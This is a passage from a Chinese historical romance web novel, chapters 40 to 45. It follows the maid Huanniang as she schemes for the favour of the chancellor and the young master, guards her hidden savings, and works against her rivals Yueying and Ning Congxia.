“约莫一个时辰了,她进来时,奴婢瞧见,便叫她先回去,却不想……她会坐在这里等,还请爷恕罪,是奴婢思虑不周全。” 采菊弯下腰,请罚。 谁能想到,爷居然会回来?而且,还将欢娘带进了屋。 她似乎低估了欢娘在爷心中的位置。 “那是她活该,与你无关。” 听到爷这般说,采菊头埋的更低了些,不敢出声。 “下去吧。” 直到爷当真没追究,让她离开。 采菊暗松口气,关上门时,不由得看了看这空旷的院子。 只怕日后这长风院,又要多一位女侍了。 屋内,烛光跳动着昏暗的光。 很安静。 欢娘却越来越紧张。 装晕的效果是好啊,这就进来了。 现在只有她和相爷,她该怎么假装若无其事的醒过来呢? 可刚有这般想法,只觉得身体一凉,被褥好似被掀开了。 紧跟着身旁,便有人躺下。 欢娘吓得立刻绷直了身体,屏住呼吸。 温热的体温从旁侧源源不断传来,她逐渐觉得,有些热。 而且身体好像有虫子在咬她,很不舒服,她想动。 “还装?” 突然冰冷的声音从耳畔传来。 很轻,却透着威胁和嘲讽。 第四十章睡了,还不要? 欢娘呼吸一滞,只觉得胸口发闷的厉害,突然就一口气没绷住,咳嗽起来。 这下可好,装都没得装了。 咳的她乱颤,脸颊燥热,一偏头就看到相爷一双冰冷的眼底竟是嘲弄。 她想说没装,那不是不打自招吗? 欢娘两眼一闭,咳嗽结束后,连忙坐起。 “奴婢……奴婢怎么在这儿?” 没办法,只能硬着头皮继续演了。 “你倒在我身上,你说怎么在这里?” 而萧怀停,也懒得揭穿她拙劣的小把戏。 冷眼打量着欢娘。 有点小聪明,最会装柔弱,扮无辜,还脸皮厚,为了爬床,无所不用其极。 可却有一点好。 她皮肤白,腰细,柔软,满头青丝滑落,遮掩不住她傲然的资本。 看着看着,萧怀停眼底逐渐染了欲色。 今夜,他盯着柳姨娘也看了许久,却没半点兴致。 所以,他不是缺女人。 “那爷……您怎么就回来了?奴婢还以为今晚见不着你。” 欢娘因为紧张,都没注意到相爷那充满侵略性的眼神。 “见不着,你在外面等什么?” 萧怀停心底鄙夷她的造作,却忍不住抬手,勾起一律发,在手中把玩。 欢娘丝毫没注意到这样的小动作,满心都在想着怎么伪装好,怎么让相爷看到她的神情。 她思考了片刻,故作失落。 “就……等等看,万一……相爷回来呢?” 那眸中,好似含了无数说不清的委屈和情意。 得让相爷觉得,就算知道他去找柳姨娘了,她依旧初心不改,在这里等着他。 欢娘说完,期盼的看着他,能说点什么。 “躺下。” 可相爷只是命令她。 语气平静的没什么感情,那一点溢出的沙哑,散的太快,欢娘只以为,是错觉。 可他说躺下? 欢娘低头看了一眼,脸越发热了。 躺什么?她大胆的扑到他身上,满头青丝遮住了脸,也挡住了她大胆的动作。 翌日。 太阳越发的明媚了,积雪化的彻底,已经能感受到一丝暖意。 萧怀停醒来,竟有种睡饱的踏实。 屋内点着他闻惯了的梅香,可被褥上却掺杂着欢娘身上的气息。 可她人,却不见踪影。 他起身,唤了采菊进屋。 一贯都是采菊伺候他穿戴,洗漱。 可今日,他却觉得不该是如此。 “她人呢?” 沉静无波的声音,唤出那三个字时,在采菊心里激荡开来。 “天没亮,她便回去了。” 说完,她便感觉到了爷身上莫名的寒气。 她记起,上次这莫名的气息,也是在爷与欢娘一同回来那日。 “欢娘是承德院的丫鬟,一会儿奴婢便过去,将人先要过来。” 采菊隐约猜到了爷的意思。 “用不着,随她去。” 可爷他拒绝了。 采菊有些诧异的偷瞄了一眼,就凌乱了。 莫不成,她猜错了爷的心思?爷不想欢娘在身边伺候? 但明明,就已经问两次了。 口是心非? 不,爷可不是那样不干脆的人。 采菊默默摇了摇头,拿不准他的心思,便也不敢轻举妄动。 不过这也不影响她做些别的。 既然是爷的枕边人,便不能让人欺负了去。 爷出门以后,采菊便带着一个丫鬟和赏赐,亲自去找欢娘。 她可是整个相府里最体面的大丫鬟了,人一来,哪怕是低调的很,可在承德院做活的仆人,都看了个清楚。 “采菊姐姐。” 欢娘却有些忐忑,邀她坐下后,倒了白开水。 采菊点点头,打量这屋子的环境,便皱起了眉。 “可想过换个住处?我可以帮你去问问大公子。” “不用,奴婢住在这里,挺好的,这儿没人,奴婢还能当成自个儿的房间。” 欢娘听后,连忙拒绝。 承德院其他下人房都有人住,她可不想搬过去,和别人住在一起,这样的单间,很合适。 采菊可没说要她和他人同住,但想到她的身份,不住下人房,难道还住客房不成? 她的想法,也没什么问题。 只是这地方比起自己住的……太差了。 “爷说你做的糕点好吃,这些是赏给你的。” 采菊也没再纠结她这小地方,手一挥,身后的丫鬟送上了一盘的好东西。 一个首饰盒,里面金钗步摇,大颗大颗的珍珠,玉镯。 起码价值千两。 发财了。 欢娘两眼发亮。 这次的赏赐,简直就是大手笔啊。 和先前给宁从夏的,也差不了多少。 更重要的是不止发财啊,这说明相爷满意她的伺候。 欢娘从这一箱的珠宝里仿佛看到了自己未来的富贵生活。 “奴婢多谢相爷赏赐。” 她一句多余的废话都没有,赶忙谢过以后,伸出双手。 采菊从欢娘脸上看到了生动的喜色,愣了半响。 感情……这还是个爱钱财的丫鬟啊,表现的未免太真实了些。 她示意丫鬟将首饰盒交给她。 “你可是擅长制香?” 看她目不转睛的看着首饰盒,好像满眼在算计怎么变现,采菊竟是对她多出了几分好感。 闻到她屋内混合的香气,还有一旁放着一堆的香料,她一时兴起,问了一句。 “不算擅长,奴婢就……自己折腾着玩儿的。” 欢娘回过神来,轻声道。 倒不是有多谦虚,而是她自问自己可没那老师傅的手艺,也不是名动京都的调香师。 “嗯,用来打发时间也是好的。” 采菊点点头,想来她一个小丫鬟,能有多擅长?若真有那手艺,又怎会在老夫人院中扫地三年,默默无闻? “回头你去绣房,找丽姑姑,做两身新衣。” 她认真的打量着欢娘。 好面貌,好身段,唯一不好的便是年纪有些大了,若再年轻一些,也许在爷身边,能得更多的恩宠。 “往后去见爷,便来长风院换了新衣,再过去。” 也罢,爷喜欢,她便上心些,让爷更喜欢就是。 看着如花一般的欢娘,她起了要打扮她的心思。 欢娘却听的脸红,在看到采菊大大方方看着她,满眼温和时,心头生出了几分愧疚。 “采菊姐姐,你人可真好。” 若不是她抢占心机,采菊现在已经是爷的通房了。 第四十一章钻了空隙,抬做姨娘? 什么赏赐,体面,那都是她的。 不过话说回来了,就算采菊不做通房,她似乎也很体面,这相府后院,谁见了她不敬重的? 她是有感而发,而且百感交集。 可采菊听了只觉得欢娘想法真单纯。 她若不得爷的欢喜,她可就没那么好了。 但这些话也犯不着去解释。 又随便聊了几句后,她离开了。 可对这院子里的人,这可是不小的冲击啊。 面面相觑后,有的人已经傻了。 先是公子赏赐,现在就连相爷身边的红人,采菊姑娘都亲自来了。 关键是这位欢娘,还是老夫人身边的人。 “你们注意到没?她手上有个大金镯子,听说那是老夫人赏的?” 几人聚在一起,开始偷偷讨论起有关欢娘的事。 只有一个屋子里,气氛压抑,阴森。 自打大哥被发配以后,月莹就再也没笑过。 她怎么都想不通,为什么公子就轻而易举的放了欢娘,还惩罚了大哥? 难道是公子知道了真相?可怎么可能呢?若是,公子为何什么都不说? 到底是为什么? 月莹因此已经连续失眠了两天。 可不想,欢娘会越来越风光,现在就连相爷身边的人都来了。 “月莹姐,咱们都被欢娘骗了,她一点也不蠢,而是厉害。” 小翠目睹了一切后进屋,把看到的都告诉月莹了。 此刻的月莹,气的脸色更加难堪,跟鬼一样。 “到底是老夫人送过来的,怎么可能真的蠢?咱们都被她骗了。” 小翠恨的握紧了拳头。 “是啊,她善于伪装,她就是个骗子。” 月莹也恨的咬牙切齿。 想起当初她刚来时,胆小懦弱,打不还手,骂不还口的,连哭都不敢哭。 可从什么时候开始变了呢? 自打公子回来。 原来,她压根就没把他们放在眼里。 “怎么办?她现在那么得意?公子喜欢她,护着她,又能讨老夫人和相爷的欢心,这府里的主子都喜欢她,咱们是不是没辙了?” 小翠有些绝望。 “难道就要眼睁睁看着她骑在咱们头上吗?日后她若真生了公子的孩子,可就成主子了。” “不可能,我和公子从小一起长大,感情比任何人都深,她算什么?就来了两个月就能比得过我?” 月莹一听小翠这话,就受不了了。 “公子是个念旧情的人,我不信他对我一点感情没有,如果她都可以,为什么我不行?” 她嘟囔着。 脑海里,逐渐萌生了一个大胆的想法。 “公子呢?公子最近在做什么?” 她现在也不能再去纠结兄长的事情了,她现在的处境,可不好。 “奴婢今早看见公子从外面回来,一身的酒气,现在正在屋里歇着。” “喝酒了?为何?” 月莹有些诧异。 “估摸着还是因为宁姑娘离开的事吧。” 小翠嘟囔了一句。 是了,还有个宁姑娘,月莹心更沉了几分。 可眼下,应当会是个好机会。 “小翠,去打些水来,我要洗洗。” 月莹坐在铜镜前,看着憔悴的人儿,强行打起精神来。 先是母亲,再是兄长,她绝不能再失败。 午后。 欢娘睡醒时,只觉得头疼的厉害,昏昏沉沉的很不好受。 看来昨晚还是吃了些苦头。 得去跟公子请假,抓药。 顺便再去黑市问问消息,这么长时间,那小贩也该有线索了。 可刚起身,自己房门就被敲响了。 “欢娘,出事了,你快些出来啊……” 门外,是小童的声音。 门被砸的哐哐哐响,外头的人,好像很着急。 欢娘急忙穿好衣服出了门。 小童带着她就匆匆往主卧那边去。 “公子……公子他……” 小童结结巴巴。 似乎是难以启齿的很。 可当他磕磕绊绊把话说清楚时,欢娘也愣住了。 “你说什么?” “都是奴才疏忽,奴才也不知道公子他……竟是被宁姑娘伤的神志不清,还认错了人。” 小童也急得跺脚。 他和公子年纪一般大,说到底也还只是少年。 他说完那事儿,脸都已经红了。 欢娘却一阵阵的凌乱。 怎么……就出了这么大的意外? 等她进主屋时,看着满屋子的凌乱,茶壶瓷器,被砸的满地都是。 只见公子穿着寝衣,正坐在床边,很是懊恼,手被划伤了,正流着血。 欢娘急步走过去,将手帕按在他伤口上,进行紧急处理。 “公子,您受伤了。” 她面露担忧。 心中却有些无奈,不就是睡了个女人吗?至于这般要死不活的? 公子他难道还想为了宁从夏,守身如玉不成? 虽说她听到这事以后,也是震惊和懊恼。 可真的犯不着如此。 “你说,我该怎么办?” 而且公子他还委屈上了。 欢娘抬头就对上他的无助。 喝酒误事,真是酒后乱性啊,而且只怕那月莹,求之不得有这样的机会。 公子你真是……保护不好自己。 欢娘暗叹口气。 “月莹姐姐跟随公子多年,就算没有今天的事,她也会一直跟着公子的。” “只是当下宁姑娘要进门了,先纳妾只怕不好,不如让月莹姐姐再等等,等宁姑娘进门后,再纳她做妾,否则只怕会让宁姑娘受了委屈。” 欢娘认真想了想,才道。 千算万算,没算到会让月莹钻了空子,现在她成了公子的女人,可不是简简单单能收拾的。 但转念一想,这对宁从夏的打击更大,只怕会刺激的疯癫。 前世的她有独一无二的宠爱,独一无二的地位,可今生,她也不过是公子身边一贵妾而已。 而且在她之前,公子已经有别的女人了。 她现在很期待,宁从夏知晓这一切后,会不会直接疯掉。 “她不愿意。” 可公子却苦笑着,摇了摇头。 “什么?” 欢娘错愕,可心底却已经有了猜测。 “她说,要和我断绝关系,日后我俩再无干系,她誓死不做妾,还说就算我现在求她回来做正妻,她都不会再答应我了。” 只见公子苦笑着。 一脸的迷茫和痛苦,还有自我怀疑。 欢娘就觉得,公子这个样子,可怜极了,好像是要碎了。 “公子……没再好好劝劝?” 第四十二章你这是不清白了吗? “我劝的都被撵出来了,她将我从万福酒楼推出来,当街辱骂,还污蔑我是登徒子,调戏她的纨绔子弟,我还能如何?” 萧晋文都快哭了。 欢娘看着公子那真实的悲伤,心里也不大好受。 他虽脾气大了些,但已经能算是个好主子了。 “算了,她走,那就走了吧,月莹和我一块儿长大,我总要给她个交代。” “小童,去备水。” 萧晋文伤心完了,忽然就振作起来。 准备洗漱后,去找祖母。 “公子,当真能放得下宁姑娘?” 这就……不管了?欢娘有些意外。 “她不愿,那便不勉强。” 萧晋文沉默了一阵,眼神里都透着些许刚毅。 欢娘看着大公子离开后,都有些恍惚。 怎么……真的就把宁从夏赶出相府了?是不是太顺利了些?简直就跟做梦一样。 翌日。 大公子就纳月莹为妾,赐住听雨轩。 老夫人给了月莹妾侍该有的待遇后,将月银翻倍,就连院里伺候的仆人都多了个管事的嬷嬷。 欢娘看的唏嘘。 只怕在老夫人眼里,月莹现在也是有用之人了,能生孩子。 院里的人都忙着帮月莹搬行李。 东西不多,可架不住这些人要献殷勤。 如果说前些日子他们还在猜测欢娘是不是得公子宠爱,地位要高过月莹了。 那现在,月莹的身份,已经说明了公子的立场。 一个是爬床了,依旧只是个通房丫鬟,住着阴暗潮湿的小房间。 一个是立刻抬为妾,给了身份,给了赏赐。 谁在公子心目中地位更重,那不是一目了然吗? 所以欢娘被羡慕了两天后,也就还是那样。 她将屋子从里到外收拾一圈后,去找丽姑姑。 刚到,她就把珍娘喊了过来。 “采菊姑娘特地交代了要用上好的丝绸给你做两身好看的,你可有喜欢的样式?” 珍娘凑到她身边来,眼睛就顺着她的身子打量。 知道的她是来量尺寸,可欢娘还是被看的不大自在。 尤其是丽姑姑的眼神,放在她身上,就没离开过。 欢娘有些心虚。 而且采菊都做到这份上了,丽姑姑她还能猜不到吗? 只是这样也好,她还担心,再过些日子若她当真怀孕了,还无法解释清楚。 “就绣梅花吧。” “可我觉得欢娘适合蔷薇,粉色的,丰满的,精致的……” 珍娘忍不住反驳,目光在欢娘身上游移。 真不知道她说的到底是蔷薇,还是她人。 “你懂什么?” 丽姑姑白了闺女一眼,只觉得她反应是真迟钝的很。 “蔷薇好,我喜欢蔷薇,就蔷薇,珍娘,你帮我做,你做什么样的,我都喜欢。” 欢娘见丽姑姑还要说话,她连忙阻止。 当着她的面说,欢娘自觉还没那么大的脸。 而且谁说衣服都要照着相爷喜欢的款式来?她与梅花的清傲,八竿子打不着。 才不愿意去扮那小丑呢。 万一还把相爷恶心了,得不偿失。 “好,我保证给你做量身好看的衣裳,现在,你随我来。” 说着,珍娘拉着她的手往内屋去。 量了尺寸,她走出秀房时,遇到了月莹。 才一日不见,当刮目相看。 此刻的月莹一身水红色锦缎,娇艳的面容,头戴金簪,比起那体面的大丫鬟,这会儿倒真是像个主子了。 欢娘行了礼,退到一边,让路。 可月莹却在她跟前停下。 “日后,也不用装成这副老实巴交的样子,瞧着让人恶心,你既然要斗,那我便陪你斗到底。” 她就这么明晃晃的,宣战了。 “我还就不信你能装一辈子,欺瞒公子一辈子,像你这么心机深沉又恶毒的人,就是公子最讨厌的,迟早你会死的很惨。” 月莹冷声道。 欢娘垂眸,不发一言。 月莹怨毒的瞪了她一会儿,气不过,甩袖进了绣房。 她的兄长和娘亲,都折在她手里。 欢娘也没指望过,还能像以前一样,反正就算是以前,月莹也没少算计她。 明着做敌人,对她来说没差。 当务之急,她还是要确定,那宁从夏,当真是死了心,不再回来? 午后,她跟公子告了假,出门抓药。 黑市里的小贩,果然没让人失望。 这次她成功拿到了那个叫孙重的全部讯息。 清远镖局少镖头,宁从夏的师兄,现在还在京都待着,人就住在万福酒楼。 欢娘听到后,愣了一会儿,就笑了。 早上才听公子说,宁从夏在万福酒楼呢。 就那么巧合? 欢娘回到承德院后,特意去见了公子。 他愁着一张脸,坐在书房写了很多字,地上不再是一团团的纸了。 他写的很认真,字也很好看,面上看着,很正常。 这反而让欢娘不知该怎么提。 “月莹那屋子空着,你搬过去住。” 谁知公子会突然开口。 下人住的房间,那怕是最好的一间了,除了公子的主卧,那里敞亮,宽大。 “公子……” 欢娘正欲说话,小童就从外面走进来,并且还看了她一眼。 “小翠过来说,月姨娘特意准备了您爱吃的菜,邀您过去吃晚饭。” 说着,还又看了眼欢娘。 月姨娘? 这身份转变的也太快了些。 欢娘默默的撇了撇嘴。 “不去。” 萧晋文听到这话,就冷了脸。 满脸都写着抗拒。 “公子,这是规矩,月姨娘进门第一天。” 小童小声念叨了一句。 对小妾来说,这算是新婚夜了。 所以,萧晋文应当要去‘洞房’才是,当然如果他真的不去,那也没什么。 无非也就是小妾不得宠罢了。 欢娘偷偷的去看公子的脸色,依旧很难看,可是在沉默片刻后,还是站了起来。 “找个人,帮欢娘搬家。” 他去是去了,不过去之前,还想起了欢娘。 搬家? 欢娘真没那意思啊。 可是看公子的样子,如果她拒绝,讨不到好果子吃。 而且,搬到大屋子,是公子对她的恩赏。 罢了,搬吧。 只是在搬家之前,最重要的还是要将她的私库隐藏好。 小童回来后就找人帮她搬了屋子里公子赏赐的昂贵桌椅,她趁着没人,钻到了床底下。 床底下的墙壁里,是她前些年省吃俭用存下来的银钱。 可刚爬进去,屋外便进来了一人,还将门给关上了。 欢娘只觉得视线一黑,屋内暗下来。 第四十三章贪心的通房,既要,又要,还要 欢娘愣住了,难道光天化日之下,还有贼人能跑进相府? 不对,家贼。 可谁那么大胆,趁着她搬家,来偷东西? 欢娘躲在床板底下,却看到了一双很大的靴子逐渐逼近。 是个男人。 嘎吱。 她那木板床被坐的脆响,仿佛承受不住男人的重量。 而欢娘在看清楚那人的靴子以后,人也傻了。 空气中,冷梅香味霸道袭来,好像都掩盖了这屋内其他的气息。 相爷他……无故跑来这里做什么? 她屏住呼吸,想先观察一阵。 “床底下,有什么?” 可很快她就知道自己的想法有多傻,多天真了。 相爷他知道她在床底下,而且似乎是等着她出丑。 否则怎会进屋就往床上坐呢? 她趴在床底下,样子不可谓是不狼狈,看了看已经被自己掏开的墙,砖头都拿下来了。 实在没理由又封回去。 相爷那般精明,怕是全都看到了。 索性破罐子破摔,一股脑的全都掏出。 再假装若无其事。 从床底下慢吞吞的挪出来。 那样子,欢娘都不想去关注,有多狼狈。 “是不是该恭喜你,搬了新家?” 萧怀停面色平静,打量着眼前人。 头发弄的有些乱,裙摆还蹭了些许灰尘,也就比灰头土脸好上些许。 实在看不出特别的。 “相爷言重了,不过是公子赏赐,换了个住处而已。” 说的什么家?这里……是她家吗? 欢娘默默嘀咕了一句。 “是吗?看来是本相误会了,你和老鼠,是有区别的。” 可相爷的话,却让人莫名。 她蹙着眉,是真没懂。 “老鼠打洞的地方,便是家,你不是和老鼠一个习性?” 只见相爷勾起了嘴角。 欢娘着实是惊了一下,虽然照旧是冷嘲热讽的,可相爷他似乎是在开玩笑,故意逗她。 “打了洞,也不算家,你似乎比老鼠更难养。” 相爷笑道。 感情是没完了,相爷是觉得有意思吗?这还接着调侃? “也要看谁养,奴婢心里认了主,要在有主人的地方,才有家的感觉。” 得,相爷兴致高,那就配合他。 欢娘故意露出讨好的笑容。 只见相爷抬头,皱着眉,照旧是一双冷眼看着她。 看样子是讨好没成功。 “怀里揣着什么?” 他依旧冷漠,目光落在她鼓起来的肚子上。 那没办法,小木盒子没地方藏,她只能选了这等笨拙的办法。 不过她本以为相爷就不会在意她这出丑的样子,无非当作个笑话而已。 他居然还问? 相爷今晚看着,有些不同。 欢娘掀开衣服,将木盒子从肚子里拿出来。 他要看,干脆就直接走到他面前去,将盒子打开。 里边都是些碎银子,还有两条用红绳和铃铛编制的手环,一根已经断成两段的玉簪。 看着有些寒酸。 欢娘有种被窥探了隐私的尴尬,这样要比脱光光的被他看还抬不起头来。 “这是我以前扫地,得的月钱,红绳是赵姐送我的生辰礼,还有这玉簪……那是相爷带我回相府那晚,我逃亡时,戴的唯一首饰。” 见相爷挠有兴致的盯着看,欢娘主动解释。 假装不经意的提起,只希望他能想起。 可他听了,却不见有什么表情。 “所以,算你亡夫给你的?” 他问了一句,听着那语气,漫不经心。 这话问的,欢娘又无奈,又失望。 什么亡夫?改问的不问,不该问的…… 非要回忆,对她来说都是前世了,很久,久到她已经忘了那老头长什么样。 而且簪子的来源,还挺复杂的。 她点了点头。 “念旧?” 只听相爷接着问道。 欢娘连忙摇头。 “他们怎么能算旧人?” 自嘲般的苦笑着。 她一直被卖来卖去的,所谓的亡夫,不过是买她回去生孩子。 “那这破簪子,留着作甚?这一箱子,不是你的宝贝?” 闻言,欢娘就把盒子又收紧了些。 “值钱,破损了,可玉是好玉,能换个一两银子。” 她一脸认真的抬头望着相爷。 反正他都看见了,干脆就破罐子破摔,鼓足了勇气,继续解释。 “奴婢扫了三年地,才得这么些家当,自然都是宝贝。” 说着,声音不由得放小了些。 “奴婢无亲无故的,将来,还真要靠这些宝贝养老呢。” “这些是宝贝,那我赏你的那些呢?” 声音不大,萧怀停却听的清楚。 还真是一心贪图荣华富贵啊,不过该说她考虑的,足够长远。 “花了一些,其他的……藏起来了。” 相爷他居然问银子的去处?欢娘心头一紧,不自然的别开了脸。 “不和你的宝贝,放一块儿?” “鸡蛋不能放在同一个篮子里。” 她声音都弱了几分。 “藏在何处?” 萧怀停没想到,就那么些银子,她能如此警惕。 突然有些好奇,她又在哪儿打了个洞。 可这一问,好像是把她吓到了,她警惕的望过来,一双大眼睛直勾勾的,像是放在门口那照亮的灯笼。 防着他? 意识到这一点,萧怀停眉头轻蹙。 “相爷真好奇吗?” 只见她走进了些,好像是不可言说的秘密,凑到他耳边,轻声问道。 俯下身时,熟悉的味道袭来,萧怀停愣了片刻。 下一刻,她便大胆的抓住了他的手,往衣服里探去。 他惊愕的抬头,只看到她红扑扑的右侧脸颊,在昏暗的烛光下,格外粉嫩。 但下一刻,却摸到了她衣服里,中衣那一层,似乎有夹层,硬硬的,缝了东西。 “相爷赏的多,奴婢放在这屋里始终不放心,就只好……时时刻刻带着。” 大额的,她都缝进衣服里,以备不时之需。 萧怀停摸的愣住了,手指似乎沾染了她的体温和气息,可还有那硬绷绷的银票。 只见她眯眼笑着,一副自认为很聪明的样子。 “您给的,奴婢就想时时刻刻带着。” 恍惚间,只见她又侧过头来,直勾勾的盯着他,那眼里又是说来就来的深情。 又开始装了。 “你既这般说,今夜便随我回长风院去。” 装是吗? 萧怀停倒要看看,她能伪装到何时。 这个贪婪又虚荣的小丫鬟。 第四十四章松口了?名分要不要? 欢娘愣了一下。 “您是说,奴婢可以去长风院,伺候您?是长长久久的吗?” 只见她眼睛一亮。 眼里充满期待。 看的萧怀停都要以为,是他判断失误了,这丫鬟,莫不成是真心的? “你想要,那便可以。” 他心底划过一丝异样,可那也不足以让他情绪波动。 说完,就见她笑着,就连眼睛都勾起了浓烈的笑意,好似下一刻就要谢恩,高高兴兴的随他回去。 若是那样…… 萧怀停竟是多了一丝期待。 “爷您说话,可算话?” 她大了胆子,坐在他身上便钩住他脖子。 这样的姿势,次数多了,都有些习惯。 “爷的恩赐,能否延期?” 萧怀停的笑意还来不及表现,便又收了回去。 果然,她要的更多,她的图谋,远不止去他身边做个丫鬟。 眸光一下就冷了。 狠狠的掐着她的腰,像是发泄一般,咬了下去。 又急又凶。 欢娘立刻感觉嘴唇火辣辣的,血腥味充斥鼻尖,她下意识想推,却被相爷逼迫着,吞了一口的血。 转瞬间她就被扔在了床上,宽厚的身子压下来,仿佛能将她整个吞噬。 恰在这时,门外传来敲门声。 “欢娘,怎的把门锁了?东西还没搬完。” 是个老嬷嬷的声音,院子里打杂的。 这些日子,会时不时在欢娘面前献殷勤。 欢娘惊恐的望着相爷。 “怎么?是想我将人打发了?” 萧怀停冷笑着。 下一刻便要开口。 欢娘吓得连忙去捂他的嘴巴。 在床上,也顾不得什么规矩。 “太晚了,我……明日再搬。” 她扯着嗓子喊道。 紧张的身子都在微颤。 萧怀停就只看到她急于证明自己清白,急于掩藏,怕被发现。 “呵……” 他真是没忍住,气笑了。 结果下一刻,欢娘便双手紧紧的捂住了他。 外头的人,笑着客套两句,说明早再来帮忙,便离开了。 萧怀停的眼神,也逐渐冰冷。 你若真的聪明,就该趁机要名分才是。 你若不要,那日后……也别要了。 他发了狠,冲着雪白的肩膀便咬下去,欢娘疼的倒吸了口凉气。 “奴婢是为了爷您的名声,您怎么……还恩将仇报?” 欢娘疼的咬牙切齿,却又不敢怎样。 眼泪顺着脸颊流淌。 萧怀停冷哼一声,这鬼话,骗谁? 然后便起身,毫不留情的离开。 欢娘错愕,衣衫不整的坐起身子,眼看着相爷真就这么走了,一边流着眼泪,一边莫名。 所以爷到底干嘛来了? 翌日。 一早她就搬了地方,屋子敞亮,总有阳光能照射进来。 昨晚那老嬷嬷,端着水来,把屋子里里外外都打扫了一遍。 欢娘记起嬷嬷她姓刘,以前一直都在冯婆底下做事,一把年纪,头发花白,可干活却很利索。 完工以后,她便给了她一串铜版,以作答谢。 这世上,不会有人什么都不图,只是好心。 “这……也太多了吧。” 刘嬷嬷看着手里二十个铜板,激动的有些颤抖。 话虽这么说,却很高兴的收了起来。 图钱来帮她的,倒是好打发,欢娘笑了笑。 “有劳嬷嬷帮忙,日后还请嬷嬷洒扫时,帮我盯着些,我不喜欢有人进我屋子。” 很多栽赃陷害,都是偷偷摸摸的。 欢娘得想的周全些。 刘嬷嬷忙不停的点了点头,有银子收,自然是高兴的。 昨晚相爷的行为让她捉摸不透,但也不影响她继续献殷勤。 早上,她做了些糕点送去。 没见到人,也就没管了。 午后,公子下学归来,一头扎进书房做功课。 这两日的他,是真的在奋发图强,极为认真。 可欢娘觉得这样太反常了。 寻思片刻后,她去了老夫人那里。 “老夫人,迎娶宁姑娘进门这件事,怕是不成了。” 以公子的状态,她总担心只要宁从夏回头,他就会再次接纳她。 可欢娘不知那宁从夏是否真的要断绝关系。 便只能从老夫人这里,想想法子。 “我知道,晋文这几日,过的如何?” 萧苏氏一直派人盯着宁从夏,自然知道孙儿被当街辱骂一事。 她很气愤。 但如果因此孙儿和她断了联系,也是好事。 怕就怕,藕断丝连。 “公子……自从那日喝醉后,便再无异常,这几日都在做功课,很认真,奴婢记得公子很讨厌功课的,现在看着,像是变了个人,也不知是不是好事。” 欢娘有些担忧的道。 两人的想法,只怕是差不多。 萧苏氏哀叹口气。 “奴婢就担心公子心里还是放不下宁姑娘,现在这般压抑,会伤了自己,若他一直惦记着宁姑娘,就算宁姑娘现在离开京都,他日公子也怕是会再去找人。” 欢娘想了想,小心开口。 萧苏氏听出了她言外之意,眼眸微微上抬,露出些许兴趣。 “那你觉得,该怎么做?” 欢娘又假装沉思片刻,才道。 “公子纳妾一事,奴婢觉得可以让那宁姑娘知道,如此,便也能知晓,她到底是不是真的放下公子。” “倘若她听闻以后,毫无反应,那至少……要让公子知晓,朗有心,妾无意,彻底断了公子的念想。” 萧苏氏没打断,示意她继续。 “所以,奴婢斗胆想去见见宁姑娘,劳烦老夫人带上公子一块儿去,只需要在隔壁听着,便是。” 欢娘思虑很久,才想到这法子。 因为她断定,宁从夏见了她,绝对说不出什么好话。 得让公子看看,他心心念念的宁姑娘,没他想象的那么简单。 “法子倒是不错,若那宁姑娘对晋文真心,那便借此机会成全两人,晋文也会念的好。” 萧苏氏听闻满意的点了点头。 当然,还有更多好处,她没明说。 但总归欢娘这法子,是为晋文好,也免得她出手,闹的她和孙儿关系生分。 保不齐,孙儿还会顾念她的好意。 以前,真是小瞧了这欢娘。 倘若日后她能生下晋文的孩子,她不介意护着她,让她在这相府有一席之地。 “老夫人心善,又一心为了公子,公子迟早会明白您的良苦用心。” 欢娘恭维着。 心底也松了口气。 还好,老夫人没觉得她诡计多端。 “那便今天下午,去见宁姑娘,她人在万福酒楼。” 第四十五章疯的好,你完了 说见,那就见。 萧苏氏也想尽快了解此事,她也不愿意让她的人一直盯着那姑娘。 坦白说,若不是孙儿喜欢,她和那样身份的女子,是不会有关系的。 欢娘应下。 下午,便找公子请假,外出了。 盯着她的侍卫回长风院禀报。 萧一都忍不住嘀咕,这丫鬟出府的次数,未免太多了些。 大公子那边,就那么信任欢娘吗? 这丫鬟,一边拿捏大公子,一边在相爷这边邀宠,她到底知不知道,自己在做什么? 日落。 欢娘进了万福酒楼,直奔宁从夏的住处。 三楼,天字一号房。 就在进去前,还跟老夫人的人打了个罩面,一切已经准备就绪。 可就在开门时,一股浓烈的酒味铺面而来。 “是你?” 开门的瞬间,宁从夏看清欢娘的瞬间,脸上的笑意瞬间消散,充满了敌意。 “宁姑娘。” 欢娘见了礼,瞧着她面色酡红,屋内还有几个歪倒的酒瓶。 以及……一个突然闪过的黑影。 她蹙了蹙眉。 “来找我干什么?谁让你来的?” 宁从夏瞬间清醒了几分,几乎是立刻挡在欢娘面前,生怕她真的看到些什么。 而她自己,却下意识往欢娘身后看,好像在期待着什么。 “我有要紧的事,来找宁姑娘,能不能……进去说?” “是我自己要来的,今天,只有我一个人。” 宁从夏听到这话后,脸上满是厌烦和鄙夷,同时,嚣张和傲慢,连装也不装。 “你一个人,敢来找我?你可知,这里不是相府,你要让我不开心,我会弄死你。” 宁从夏毫不客气的威胁。 当然,若没有准备,我怎敢来找你?你的心狠手辣,我能不知道吗? 欢娘心底冷笑着,面上却一脸淡定,语气也恭敬的很。 毕竟,还要演戏。 “宁姑娘,您就别开玩笑了,咱们进去说,好不好?” 宁从夏冷眼看着这不知死活的丫鬟。 “好,我就看看,你要搞什么鬼。” 本来她挺不耐烦的,可想到被她赶走的萧晋文,她又犹豫了。 所以将人拉进屋后,关上了门。 酒味太浓烈了,欢娘直接站到窗户边去。 “宁姑娘伤都没好,喝这么多酒,恐怕伤身。” “你会不会管太多?直说,你到底来干嘛的?” 宁从夏受不了她这假仁假义的样子。 欢娘看似温顺好说话,可现在的处境,她总觉得欢娘就是来嘲讽她的。 所以她语气很差,因为喝了酒,还不自觉的大声。 欢娘眉头轻挑,觉得自己的运气是真不错。 “奴婢过来,其实是有一件很重要的事情,要跟您说。” 她嘴角微弯。 “公子他纳了月莹为妾。” 然后静静的看着宁从夏从不耐烦到震惊的表情。 “你说什么?” 她脱口而出的疑问,好似是需要时间来消化。 “奴婢也不知道,到底怎么回事,分明公子是满心欢喜的来找姑娘,可回去后就喝醉了,后来……就纳了月莹。” “她现在已经是月姨娘了,还分配了院子和仆人。” 欢娘有些茫然的道。 “说清楚,他喝醉以后,发生了什么?” 而宁从夏的手,紧握着,已经喀喀喀在响了,骨头好像都能被她捏碎。 “奴婢……不知道,只是传言,但奴婢觉得传言不可信,姑娘若是想知道,不妨回去,亲自问问公子?” 欢娘忍住嘲讽她的冲动。 